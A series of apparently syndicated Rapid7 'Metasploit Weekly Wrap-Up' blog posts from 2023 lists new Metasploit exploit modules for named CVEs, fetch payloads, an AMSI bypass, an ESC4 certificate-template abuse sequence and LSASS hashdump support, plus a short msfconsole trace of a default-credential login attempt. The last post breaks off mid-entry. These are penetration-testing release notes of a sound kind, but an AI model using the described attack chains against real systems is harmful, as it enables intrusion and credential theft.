Post Syndicated from Alan David Foster original https://blog.rapid7.com/2023/06/16/metasploit-weekly-wrap-up-15/

Metasploit T-Shirt Design Contest

In honor of Metasploit’s 20th anniversary, Rapid7 is launching special edition t-shirts – and we’re inviting members of our community to have a hand in its creation. The contest winner will have their design featured on the shirts, which will then be available to pick up at Black Hat 2023.

We will be accepting submissions from now through June 30! Contest details, design guidelines, and submission instructions here

New module content (12)

RPyC 4.1.0 through 4.1.1 Remote Command Execution

Authors: Aaron Meese and Jamie Hill-Daniel
Type: Auxiliary
Pull request: #17670 contributed by ajmeese7
AttackerKB reference: CVE-2019-16328

Description: Adds a new rpyc_rce module to exploit CVE-2019-16328 and achieve remote command execution as the vulnerable server’s service user.

Apache RocketMQ Version Scanner

Authors: Malayke and h00die
Type: Auxiliary
Pull request: #18075 contributed by h00die

Description: This PR adds a version scanner for Apache RocketMQ.

Symmetricom SyncServer Unauthenticated Remote Command Execution

Authors: Justin Fatuch Apt4hax, Robert Bronstein, and Steve Campbell
Type: Exploit
Pull request: #18077 contributed by sdcampbell
AttackerKB reference: CVE-2022-40022

Description: This adds an exploit for Symmetricom SyncServer appliances (S100-S300 series) vulnerable to an unauthenticated command injection in the hostname parameter in a request to the /controller/ping.php endpoint. The command injection vulnerability is patched in the S650 v2.2. Requesting the endpoint will result in a redirect to the login page; however, the command will still be executed, resulting in RCE as the root user.

TerraMaster TOS 4.2.06 or lower – Unauthenticated Remote Code Execution

Authors: IHTeam and h00die-gr3y
Type: Exploit
Pull request: #18063 contributed by h00die-gr3y
AttackerKB reference: CVE-2020-28188

Description: This adds an exploit for TerraMaster NAS devices running TOS 4.2.06 or prior. The logic in include/makecvs.php permits shell metacharacters through the Event parameter in a GET request, permitting the upload of a webshell without authentication. Through this, an attacker can achieve remote code execution as the user running the TOS web interface.

TerraMaster TOS 4.2.15 or lower – RCE chain from unauthenticated to root via session crafting.

Authors: h00die-gr3y and n0tme
Type: Exploit
Pull request: #18070 contributed by h00die-gr3y
AttackerKB reference: CVE-2021-45841

Description: This exploits a series of vulnerabilities including session crafting and command injection in TerraMaster NAS versions 4.2.15 and below to achieve unauthenticated RCE as the root user.

TerraMaster TOS 4.2.29 or lower – Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989

Authors: 0xf4n9x, Octagon Networks, and h00die-gr3y
Type: Exploit
Pull request: #18086 contributed by h00die-gr3y
AttackerKB reference: CVE-2022-24989

Description: This exploits an administrative password leak and command injection vulnerability on TerraMaster devices running TerraMaster Operating System (TOS) versions 4.2.29 and below to achieve unauthenticated RCE as the root user.

Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution

Author: sf
Type: Exploit
Pull request: #18016 contributed by sfewer-r7
AttackerKB reference: CVE-2023-28771

Description: This adds an exploit for CVE-2023-28771 which is a remote, unauthenticated OS command injection in IKE service of several Zyxel devices. Successful exploitation results in remote command execution as the root user.

Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization

Authors: 14m3ta7k, 4ra1n, and Grant Willcox
Type: Exploit
Pull request: #17946 contributed by gwillcox-r7
AttackerKB reference: CVE-2023-21839

Description: This adds an exploit for CVE-2023-21839 which is an unauthenticated RCE in Oracle Weblogic. Successful exploitation results in remote code execution as the oracle user.

Three x86 Linux Fetch Payloads

Author: Spencer McIntyre
Type: Payload
Pull request: #18084

Description: Fetch and execute a x86 payload from an HTTP server. These modules were developed live on stream. Fetch based payloads offer a shorter path from command injection to a Metasploit session

Authors: Daniel López Jiménez (attl4s) and Simone Salucci (saim1z)
Type: Post
Pull request: #18022 contributed by attl4s

Description: This adds the post/windows/manage/make_token module which is capable of creating new tokens from known credentials and then setting them in a running instance of Meterpreter, which can allow that session to access resources it might not have previously been able to access.

Enhancements and features (11)

• #17336 from smashery – This PR adds new code to simplify and standardize windows version checking and comparisons.
• #17781 from araout42 – Adds support for module writers to supply a custom include_dirs array when using the MinGW library to compile payloads.
• #17942 from cdelafuente-r7 – The script generated by the web_delivery module is blocked by the Antimalware Scan Interface (AMSI) on newer versions of windows. This PR includes an enhancement which allows the web_delivery module to bypass AMSI.
• #17955 from jvoisin – Reduces the size of PHP payloads such as php/reverse_php.
• #18050 from adfoster-r7 – Adds a new post/test/all module which will run all available post/test modules against the open session.
• #18069 from sempervictus – This updates the LDAP server library to handle unbind requests.
• #18089 from shellchocolat – Adds supports for masm output format when generating payloads.
• #18106 from adfoster-r7 – This PR updates Meterpreter’s setg SessionTLVLogging true support to no longer truncate useful values such as payload UUIDs, file paths, executed commands etc.
• #18109 from adfoster-r7 – Update test post modules to always have a clean, writable, and consistent test file system directory when running modules under the loadpath test/modules directory.
• #18110 from adfoster-r7 – When running test modules that have been loaded by loadpath test/modules, any verbose printing logic generated will now be prefixed by the current test that is being run.
• #18115 from adfoster-r7 – This PR updates unknown windows errors on python Meterpreter to include original error code.

Bugs fixed (15)

• #18051 from adfoster-r7 – Adds additional skip calls to the test/post modules to ensure that only relevant test expectations are run against the specified session without crashes.
• #18054 from bwatters-r7 – This PR fixes the issue where an ArgumentError was thrown on the FETCH_SRVHOST option when running the info command when using a fetch payload.
• #18068 from smashery – Fixes a bug that caused multi/manage/shell_to_meterpreter to not break when win_transfer=VBS was set.
• #18076 from smashery – This fixes a bug in the Windows Meterpreter’s memory free API.
• #18083 from zeroSteiner – A bug has been fixed in the stdapi extension of Meterpreter when calling the stdapi_sys_process_memory_free command. This incorrectly handled memory, leading to a double free condition, which would crash Meterpreter. This has since been fixed.
• #18090 from adfoster-r7 – The auxiliary/admin/kerberos/keytab EXPORT action will now consistently order exported entries.
• #18097 from adfoster-r7 – This PR fixes Python Meterpreter sessions from crashing when extracting macOS network configuration when using the route or ipconfig commands.
• #18098 from adfoster-r7 – This PR Fixes rex-text crashes when running ruby 3.3.
• #18099 from adfoster-r7 – This PR fixes Python Meterpreter subprocess deadlock and file descriptor leak caused by the stdout/stderr file descriptors not being closed.
• #18101 from adfoster-r7 – This PR fixes a Python Meterpreter macOS route command crash when ifconfig has a gateway name as a mac address separated by dots.
• #18102 from adfoster-r7 – This PR adds a fix for false negatives on files not existing on windows python Meterpreter.
• #18105 from adfoster-r7 – This PR fixes a bug when running the time command in msfconsole with complex commands.
• #18108 from adfoster-r7 – Updates the test/services module to more consistently pass. This module is useful for developers contributing enhancements or new functionality to Meterpreter and other payloads. It is available after running loadpath test/modules.
• #18111 from adfoster-r7 – This PR fixes an initialized constant error when Meterpreter registry key reads timeout.
• #18112 from adfoster-r7 – This PR fixes a symlink test bug when running python Meterpreter on windows.

Documentation added (1)

• #18058 from gwillcox-r7 – Adds additional details on how to navigate the Metasploit codebase.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.20…6.3.21
• Full diff 6.3.20…6.3.21

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Brendan Watters original https://blog.rapid7.com/2023/06/09/metasploit-weekly-wrap-up-14/

MOVEit

It has been a busy few weeks in the security space; the MOVEit vulnerability filling our news feeds with dancing lemurs and a Barracuda vulnerability that has us all wondering how many shredders out there can handle a 1U appliance. Despite those very worthwhile distractions, Metasploit has made another strong release, with 3 new exploits, 1 new auxiliary module, and 2 new payloads!

New module content (6)

GitLab Authenticated File Read

Authors: Vitellozzo, h00die, and pwnie
Type: Auxiliary
Pull request: #18039 contributed by h00die
AttackerKB reference: CVE-2023-2825

Description: This adds an exploit that leverages an authenticated arbitrary file read on Github 16.0.0. This vulnerability is identified as CVE-2023-2825.

PaperCut PaperCutNG Authentication Bypass

Author: catatonicprime
Type: Exploit
Pull request: #17936 contributed by catatonicprime
AttackerKB reference: CVE-2023-27350

Description: This adds an exploit module that leverages an authentication bypass to get remote code execution on PaperCut NG version 8.0.0 to 19.2.7 (inclusive), version 20.0.0 to 20.1.6 (inclusive), version 21.0.0 to 21.2.10 (inclusive) and version 22.0.0 to 22.0.8 (inclusive). This vulnerability is identified as CVE-2023-27350. Due to an improper access control in the SetupCompleted class, it is possible to bypass authentication and abuse the built-in scripting functionality for printers to obtain code execution as the SYSTEM user on Windows and the less privileged papercut user on Linux.

ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection

Authors: Dinh Hoang, Grant Willcox, and Simon Humbert
Type: Exploit
Pull request: #18018 contributed by gwillcox-r7
AttackerKB reference: CVE-2023-29084

Description: This adds an exploit module for CVE-2023-29084 which is an authenticated RCE in Zoho ManageEngine ADManager Plus. A remote attacker can leverage this vulnerability to execute OS commands by crafting a request to update the server’s configuration. The modified configuration’s value is restored by the exploit once it is completed. This exploit is incompatible with HTTP payloads due to the exploit modifying the HTTP proxy configuration of the server during exploitation.

Delta Electronics InfraSuite Device Master Deserialization

Authors: Anonymous and Shelby Pace
Type: Exploit
Pull request: #18072 contributed by space-r7
AttackerKB reference: CVE-2023-1133

Description: A module has been added for CVE-2023-1133, an unauthenticated .NET deserialization vulnerability in Delta Electronics InfraSuite Device Master versions below v1.0.5 in the ParseUDPPacket() method of the ‘Device-Gateway-Status’ process. Successful exploitation leads to unauthenticated code execution as the user running the ‘Device-Gateway-Status’ process.

New MIPS64 Fetch Payload

Author: zeroSteiner
Type: Payload
Pull request: #18044 contributed by zeroSteiner

Description: Add MIPS64 Linux Fetch Payloads

New *nix Adduser Payload

Author: rad10
Type: Payload
Pull request: #18002 contributed by rad10

Description: This adds a command payload module that creates a new privileged user on a *nix target system.

Enhancements and features (4)

• #17868 from Ryuuuuu – The ms15_034_http_sys_memory_dump.rb module has been updated to improve its handling of the check_host function so that the information about target exploitability is more accurate.
• #18062 from smashery – A new mixin has been added to support detecting the architecture of the host OS on Windows systems. Support for other OSes will be added at a later date.
• #18064 from ErikWynter – The grafana_plugin_traversal module has been updated to support beta and pre-release versions of Grafana.
• #18066 from jmartin-r7 – The archer_c7_traversal module has been converted to a gather module and updated to include a check method so that users can appropriately check if a target is an Archer router or not.

Bugs fixed (5)

• #17917 from bcoles – Two bugs have been fixed in post/multi/manage/shell_to_meterpreter: one was caused by a lack of validation on the payload being used when using the PAYLOAD_OVERRIDE option to ensure the payload was valid, and one was caused by the module creating a handler but failing to pass the RHOST information along, causing the handler to run with an invalid configuration.
• #18040 from manishkumarr1017 – This fixes a Python’s payload issue with Windows where it was failing due to bytes args is not allowed on Windows.
• #18055 from adfoster-r7 – This updates the post/multi/gather/aws_keys module to mark the platforms it is compatible with.
• #18056 from zgoldman-r7 – A bug has been fixed whereby command stager progress could go over 100%. This has now been fixed so that command stager progress should never go over 100%.
• #18074 from cdelafuente-r7 – A typo has been fixed in the exploits/multi/http/gitlab_github_import_rce_cve_2022_2992 module that prevent proper exception handling from occurring, and additional YARD documentation has been added for some related functions that were missing appropriate documentation on the exceptions they might throw.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.19…6.3.20
• Full diff 6.3.19…6.3.20

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Grant Willcox original https://blog.rapid7.com/2023/06/07/metasploit-weekly-wrap-up-13/

Cloud Fun With EC2

New ground was broken today with the addition of two PRs from community contributor sempervictus, also known as RageLtMan, who added the ability for Metasploit to establish sessions to EC2 instances using Amazon’s SSM interface, which provides a public API to execute commands or create real-time interactive websocket command shells. This can result in passwordless elevation of privilege in most if not all cases.

This module is also very helpful as it provides pentesters with the tools required to show the impact of having SSM exposed and can help reinforce the importance of data governance, locality, isolation, and auditing. It can also show how user-based access control systems may be bypassed by the privileges users within IAM have using the SSM interface as an elevation of privilege pivot. Finally, it can also be used to demonstrate how attackers can exfiltrate data from systems which do not have network access outside of the cloud environment.

Contacts Are Like Cookies – I Need More

Community contributors Nolan LOSSIGNOL-DRILLIEN and Vladimir TOUTAIN added a module for exploiting a preauthentication contact database dump vulnerability in Dolibarr 16 prior to 16.0.5. Contact details are a great help for attackers as they can allow them to craft more believable phishing attacks and gain more information about the internal structure of a target company. They can also give information on a company’s relationships with other companies which could reveal information about sensitive company dealings.

Router Exploits – They Never Stop

Router exploits are like fine wine. They just don’t stop, and these devices are often left unpatched for years on end, which can lead to issues where they are compromised and used in attacks such as in the case of the Mirai botnet. Community contributors Anna Graterol, Mana Mostaani, and Nick Cottrell added a new module targeting CVE-2015-3035 which uses a directory traversal vulnerability in unpatched TP-LINK Archer C7 routers to dump arbitrary files on the target such as the /etc/passwd‘s file.

New module content (7)

Amazon Web Services EC2 instance enumeration

Author: RageLtMan
Type: Auxiliary
Pull request: #17430 contributed by sempervictus

Description: This adds the ability for Metasploit to establish sessions to EC2 instances using Amazon’s SSM interface. The result is an interactive shell that does not require the user to transfer a payload to the EC2 instance. For Windows targets, the shell is a a PTY enabled Powershell session that is incompatible with Post modules but supports user interaction.

VSFTPD 2.3.2 Denial of Service

Authors: Anna Graterol, Maksymilian Arciemowicz, Mana Mostaani, and Nick Cottrell (Rad10Logic)
Type: Auxiliary
Pull request: #18004 contributed by rad10
AttackerKB reference: CVE-2011-0762

Description: This PR adds an auxiliary module for DOSing a VSFTPD server from version 2.3.2 and below.

Apache NiFi Login Scanner

Author: h00die
Type: Auxiliary
Pull request: #18028 contributed by h00die

Description: A new scanner module has been added to scan for valid logins for Apache NiFi servers.

Apache NiFi Version Scanner

Author: h00die
Type: Auxiliary
Pull request: #18025 contributed by h00die

Description: This PR adds a version scanner for Apache NiFi.

Archer C7 Directory Traversal Vulnerability

Authors: Anna Graterol, Mana Mostaani, and Nick Cottrell
Type: Auxiliary
Pull request: #18003 contributed by rad10
AttackerKB reference: CVE-2015-3035

Description: This adds a module that gather a specific file by leveraging a directory traversal vulnerability in TP-LINK Archer C7 routers. This vulnerability is identified as CVE-2015-3035.

Dolibarr 16 pre-auth contact database dump

Authors: Nolan LOSSIGNOL-DRILLIEN and Vladimir TOUTAIN
Type: Auxiliary
Pull request: #17899 contributed by vtoutain

Description: This adds a module that leverages an authorization bypass in Dolibarr version 16, prior to 16.0.5. This module dumps the contact database to retrieve customer file, prospects, suppliers and employee information. No authentication is needed for this exploit.

AWS SSM Sessions

Author: sempervictus
Type: Payload
Pull request: #17430 contributed by sempervictus

Description: This adds the ability for Metasploit to establish sessions to EC2 instances using Amazon’s SSM interface. The result is an interactive shell that does not require the user to transfer a payload to the EC2 instance. For Windows targets, the shell is a PTY enabled PowerShell session that is incompatible with Post modules but supports user interaction.

Enhancements and features (2)

• #18021 from zeroSteiner – The PowerShell Post API methods use a mix of PowerShell and .NET methods which have different ways of keeping track of the current working directory. This changes fixes the ambiguity by synchronizing the current working directory referenced by each set of methods.
• #18031 from wvu – Updates edit and log commands to explain to how to set LocalEditorand LocalPager so that users can adjust the editor that is used when running the edit command and the log file that is used for logging module runtime information, respectively.

Bugs fixed (6)

• #18019 from cgranleese-r7 – Fixes validation for the to_handler command when running Evasion and Payload modules.
• #18026 from adfoster-r7 – A bug has been fixed in test modules whereby not all modules were manipulating the load path to require the module_test library correctly, resulting on them being dependent on other modules correctly setting the load path, which may not always occur.
• #18030 from wvu – A missing return statement was added into lib/msf/core/exploit/cmd_stager/http.rb to fix a Ruby syntax error when attempting to handle a 404 file not found case.
• #18032 from wvu – A bug has been fixed in the cmd/brace encoder whereby it did not appropriately escape braces.
• #18036 from adfoster-r7 – A typo has been fixed in the ibm_sametime_enumerate_users.rb gather module that prevented exceptions that were raised from being appropriately caught.
• #18052 from adfoster-r7 – The test/modules/post/test/file.rb module previously did not work on Windows sessions due to it reading data from a Linux only file to determine what data to write for the binary file write operation. This has since been fixed so that the binary data is randomly generated vs being based off an OS specific file.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.18…6.3.19
• Full diff 6.3.18…6.3.19

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Christopher Granleese original https://blog.rapid7.com/2023/06/02/metasploit-weekly-wrap-up-12/

AD CS certificate templates

Our very own Spencer McIntyre has developed a new module that allows for creating, reading, updating and deleting certificate template objects from Active Directory.

ESC4 Exploitation

These changes notably enables the exploitation of the technique identified as ESC4 whereby an attacker that has access to modify the certificate template object in LDAP can change it to set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag in the mspki-certificate-name-flag field to enable exploitation of ESC1. Exploiting this scenario would be a three step process:

1. Use this module update a certificate template that you have rights to modify
2. Use the icpr_cert module to exploit ESC1 by specifying a privileged user in the ALT_UPN field
3. Restore the certificate template that was replaced in step 1 with the backup that was automatically created

SDDL

When the user updates the certificate template, the nTSecurityDescriptor field is overwritten with one that provides all access to all authenticated users. This means it’s critical that the template be restored when the operator is finished. A backup is created every time the template is read, but it’s not restored automatically because the actions taken once the module has completed will likely involve another module such as icpr_cert.

The existing MsDtypSecurityDescriptor class has a new .from_sddl_text method to create a new instance from Microsoft’s (relatively) human-readable Security Descriptor Definition Language. This means the SID in the ACEs can be specified by copying the included template file and changing it to whatever the user would like. They could for example set it to the SID of the current user, or the domain admins group, etc.

New module content (2)

AD CS Certificate Template Management

Authors: Lee Christensen, Oliver Lyak, Spencer McIntyre, and Will Schroeder
Type: Auxiliary
Pull request: #17965 contributed by zeroSteiner

Description: This adds an auxiliary module that can create, read, update, and delete certificate template objects from Active Directory.

Sudoedit Extra Arguments Priv Esc

Authors: Matthieu Barjole, Victor Cutillas, and h00die
Type: Exploit
Pull request: #17929 contributed by h00die
AttackerKB reference: CVE-2023-22809

Description: This adds an exploit for CVE-2023-22809, an LPE within sudoedit. The exploit currently only supports Ubuntu 22.04 and 22.10.

Enhancements and features (1)

• #17989 from cgranleese-r7 – The auxiliary/admin/kerberos/inspect_ticket and auxiliary/admin/kerberos/forge_ticket modules have been updated to visually represent the decoded binary values of the Kerberos ticket fields

Bugs fixed (4)

• #18009 from cgranleese-r7 – This PR updates the msfdb commands to no longer enable the web services as default. The web service will now be enabled with the web service flag: --msf-data-service <NAME>.
• #18010 from adfoster-r7 – Fix edgecase crash when running smb_login with Kerberos auth activated
• #18015 from distortedsignal – Deletes a dead link from the Using Metasploit page
• #18024 from zgoldman-r7 – This PR fixes an issue with credentials being normalized to lowercase inconsistently, causing collisions with uppercase data. Relevant credentials are now automatically normalized to lowercase on insert and lookup.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.17…6.3.18
• Full diff 6.3.17…6.3.18

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Zachary Goldman original https://blog.rapid7.com/2023/05/19/metasploit-weekly-wrap-up-11/

Fetch Based Payloads: Making the Path from Command Injection to Metasploit Session Shorter

This week we’re releasing Metasploit fetch payloads. Fetch payloads are command-based payloads that leverage network-enabled applications on remote hosts and different protocol servers to serve, download, and execute binary payloads. Over the last year, two thirds of the exploit modules landed to Metasploit Framework were command injection exploits. These exploits will be much easier to write with our new payloads.You can check out the documentation here, and we’ll have a longer blog post on the feature out soon.

New Exploit: Privilege Escalation for invscout RPM

AIX systems up to and including 7.2 were vulnerable to a command injection in the invscout utility. Tim Brown and bcoles created a new module to take advantage of this, giving privilege escalation to root in these systems. This addresses CVE-2023-28528. It’s available for Framework users now at use exploit/aix/local/invscout_rpm_priv_esc.

New module content (3)

invscout RPM Privilege Escalation

Authors: Tim Brown and bcoles
Type: Exploit
Pull request: #17993 contributed by bcoles
AttackerKB reference: CVE-2023-28528

Description: This module leverages a command injection vulnerability in the setuid invscout utility on AIX systems 7.2 and prior to achieve effective-uid root privileges.

Ivanti Avalanche FileStoreConfig File Upload

Authors: Piotr Bazydlo and Shelby Pace
Type: Exploit
Pull request: #17979 contributed by space-r7
CVE reference: ZDI-23-456

Description: An exploit has been added for CVE-2023-28128, an authenticated file upload vulnerability in versions below v6.4.0.186 of Ivanti Avalanche that allows authenticated administrators to change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. This occurs due to Ivanti Avalanche not properly validating MS-DOS style short names in the configuration path.This occurs due to Ivanti Avalanche not properly validating MS-DOS style short names in the configuration path.

Fetch Based Payloads

Author: Brendan Watters
Type: Payload
Pull request: #17782 contributed by bwatters-r7

Description: This adds a set of command payloads that facilitate fetching and executing a payload file from Metasploit.

Enhancements and features (3)

• #17985 from spmedia – Fixes a typo in the post/windows/manage/sticky_keys module.
• #17990 from bcoles – Adds AutoCheck functionality and notes metadata to exploits/aix/local/ibstat_path.
• #17991 from rad10 – A default configuration file has been added for Solargraph, a language server that can help VS Code users (and users of other code editors that might not have a language server built in) obtain IntelliSense, in-line documentation, and code completion functionality for Metasploit’s code. For VS Code users, it is recommended to install the Solargraph plugin here to take advantage of this change.

Bugs fixed (3)

• #17967 from adfoster-r7 – Fixes Ruby 3.1 crashes and resource leaks when garbage collecting Meterpreter resources.
• #18005 from adfoster-r7 – This fixes a crash when running a module through Socks4a proxy.
• #18006 from adfoster-r7 – This fixes an error when msfconsole opens browser links without a display present.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.16…6.3.17
• Full diff 6.3.16…6.3.17

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Alan David Foster original https://blog.rapid7.com/2023/05/12/metasploit-weekly-wrap-up-10/

Chaining for the win #1: Pentaho Business Server

This week, our very own jheysel-r7 added an exploit module that leverages two vulnerabilities in Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x. The module chains an authentication bypass (CVE-2022-43939) and Server Side Template Injection – SSTI – (CVE-2022-43769) to achieve unauthenticated code execution as the user running the application. Patches are available and It is highly recommended to apply them as soon as possible. The exploit is straightforward to execute and very reliable.

Chaining for the win #2: Zyxel

Community contributor h00die-gr3y added another exploit module that also chains two vulnerabilities, this time targeting Zyxel devices. It exploits an unauthenticated local file disclosure – LFI – (CVE-2023-28770) vulnerability and a weak password derivation algorithm to obtain unauthenticated remote code execution as the supervisor user. These vulnerabilities affect the zhttpd and zcmd binaries, respectively, which are present on more than 40 Zyxel routers and CPE devices. The module leverages a LFI to read the entire configuration of the router, from which it derives the supervisor password by exploiting a weak password derivation algorithm. Finally, if the device is reachable via SSH, the module establishes a connection using the leaked supervisor credentials to execute commands.

GSoC Project: Enable HTTP-Trace for scanner modules

One more successful GSoC project to enhance Metasploit has landed this week. Contributor 3V3RYONE, extended the HTTP-Trace capability to login scanner modules, which was only available to exploit modules before. That’s a very useful feature to debug a module by allowing users to display the full HTTP requests and responses of scanner modules within msfconsole. More information about previous Metasploit GSoC projects can be found here.

Here is an example output of a login scanner module running with the HTTPTrace feature enabled:

msf6 > use auxiliary/scanner/http/buffalo_login 
msf6 auxiliary(scanner/http/buffalo_login) > set RHOSTS www.example.com
RHOSTS => www.example.com
msf6 auxiliary(scanner/http/buffalo_login) > set USERPASS_FILE data/wordlists/http_default_userpass.txt
USERPASS_FILE => data/wordlists/http_default_userpass.txt
msf6 auxiliary(scanner/http/buffalo_login) > set HttpTrace true
HttpTrace => true
msf6 auxiliary(scanner/http/buffalo_login) > run

####################
# Request:
####################
POST /dynamic.pl HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

bufaction=verifyLogin&user=connect&password=connect
####################
# Response:
####################
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
Content-Length: 1571
Date: Mon, 26 Sep 2022 06:21:16 GMT
Connection: close

[...]

New module content (3)

Zyxel chained RCE using LFI and weak password derivation algorithm

Authors: Bogi Napoleon Wennerstrøm, SEC Consult Vulnerability Lab, Thomas Rinsma, and h00die-gr3y
Type: Exploit
Pull request: #17881 contributed by h00die-gr3y
AttackerKB reference: CVE-2023-28770

Description: This adds a new exploit module that leverages multiple vulnerabilities in the zhttpd and zcmd binaries, which are present on more than 40 Zyxel routers and CPE devices, to achieve remote code execution as user supervisor. This chains a local file disclosure vulnerability that allows an unauthenticated attacker to read the configuration file and a weak password derivation algorithm vulnerability. The module uses the leaked credentials to establish a SSH connection and execute commands.

Pentaho Business Server Auth Bypass and Server Side Template Injection RCE

Authors: Harry Withington, dwbzn, and jheysel-r7
Type: Exploit
Pull request: #17964 contributed by jheysel-r7
AttackerKB reference: CVE-2022-43939

Description: A new module has been added which exploits Hitachi Vantara Pentaho Business Analytics Server versions before 9.4.0.1 and 9.3.0.2, including 8.3.x. To do this it first exploits CVE-2022-43939 to bypass authentication before using CVE-2022-43769, a Server Side Template Injection (SSTI) vulnerability, to achieve unauthenticated code execution as the user running the Pentaho Business Analytics Server.

ManageEngine ADAudit Plus Authenticated File Write RCE

Authors: Erik Wynter and Moon
Type: Exploit
Pull request: #17133 contributed by ErikWynter
AttackerKB reference: CVE-2021-42847

Description: A new exploit module has been added which gains authenticated RCE on ManageEngine AdAudit builds 7005 and prior by creating a custom alert profile and leveraging the custom alert script component. On builds 7004 and later, CVE-2021-42847 is utilized to gain RCE as the user running AdAudit, which will typically be a local administrator, via an arbitrary file write to create the necessary script for the alert profile.

Enhancements and features (3)

• #17060 from 3V3RYONE – Updates the HTTP scanner modules with the functionality to log both HTTP requests and responses. This functionality can be enabled with set HTTPTrace true. This functionality is useful for debugging modules. In scenarios where the traffic is encrypted, for instance with WinRM, the logged values will be unencrypted.
• #17807 from gwillcox-r7 – Adds documentation for Metasploit’s folder structure, so that those unfamiliar with Metasploit can quickly get up to speed and understand where files might be located or where to place new files when developing content for Metasploit.
• #17972 from h00die – Updates the example modules to align with the latest Metasploit framework module conventions.

Bugs fixed (2)

• #17968 from zeroSteiner – A bug has been fixed where Certificate Templates were not being identified as vulnerable when there was an ACE that granted enrollment rights but did not correspond to any object types. The logic has now been updated so that only ACEs associated with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT right nor the CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right will be ignored.
• #17980 from sempervictus – This fixes the file system path check used by PowerShell sessions.

Documentation added (1)

• #17984 from adfoster-r7 – Fixes a Kerberos datastore name typo in the WinRM wiki docs.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.15…6.3.16
• Full diff 6.3.15…6.3.16

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Brendan Watters original https://blog.rapid7.com/2023/05/05/metasploit-weekly-wrap-up-9/

Throw another log [file] on the fire

Our own Stephen Fewer authored a module targeting CVE-2023-26360 affecting ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. The vulnerability allows multiple paths to code execution, but our module works by leveraging a request that will result in the server evaluating the ColdFusion Markup language on an arbitrary file on the remote system. This allows a user to execute markup language in an arbitrary file on the remote host. The attack writes this markup language to the remote host by sending an incorrect JSON blob containing ColdFusion Markup language to the server, and the server recognizes the incorrect JSON and logs it to a log file. We then request to evaluate the log file which now contains the arbitrary ColdFusion Markup that we wish evaluated, and collect shells.
This vulnerability was added to the CISA’s Known Exploited Vulnerabilities catalog in March.

WOW64 Hashdump Support

One of Meterpreter’s oldest features is the ability to dump hashes from LSASS. Until recently, this capability required that the Meterpreter instance running on the Windows target system matched the hosts native architecture. When users attempted to dump hashes from a Meterpreter running in a WOW64 process they’d see the following cryptic error that was tribal knowledge among Metasploit users for “you need to open a new session with a 64-bit Meterpreter”.

meterpreter > hashdump 
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

In our latest release, we have shipped new support allowing hashdump to work in WOW64 environments with no changes or further actions required on the users’ part. Simply run the hashdump command and Meterpreter will take care of the rest.

For those interested in the technical details, the old limitation was related to the way in which Meterpreter carved the code to inject into LSASS out of itself. This was where the requirement that the two architectures matched came from. Since LSASS would always be the host’s native architecture, Meterprter would also need to be the host’s native architecture. The new approach uses Reflective DLL Injection to encapsulate the injected code which allows Meterpreter to select the correct one at runtime.

New module content (3)

Icingaweb Directory Traversal in Static Library File Requests

Authors: Jacob Ebben, Thomas Chauchefoin, and h00die
Type: Auxiliary
Pull request: #17915 contributed by h00die
AttackerKB reference: CVE-2022-24716

Description: A new module has been added in for CVE-2022-24716, an unauthenticated arbitrary file read in Icinga Web 2 versions 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive that can be used to leak sensitive configuration information from a target server.

Adobe ColdFusion Unauthenticated Remote Code Execution and Unauthenticated Arbitrary File Read

Author: sf
Type: Exploit
Pull request: #17856 contributed by sfewer-r7
AttackerKB reference: CVE-2023-26360

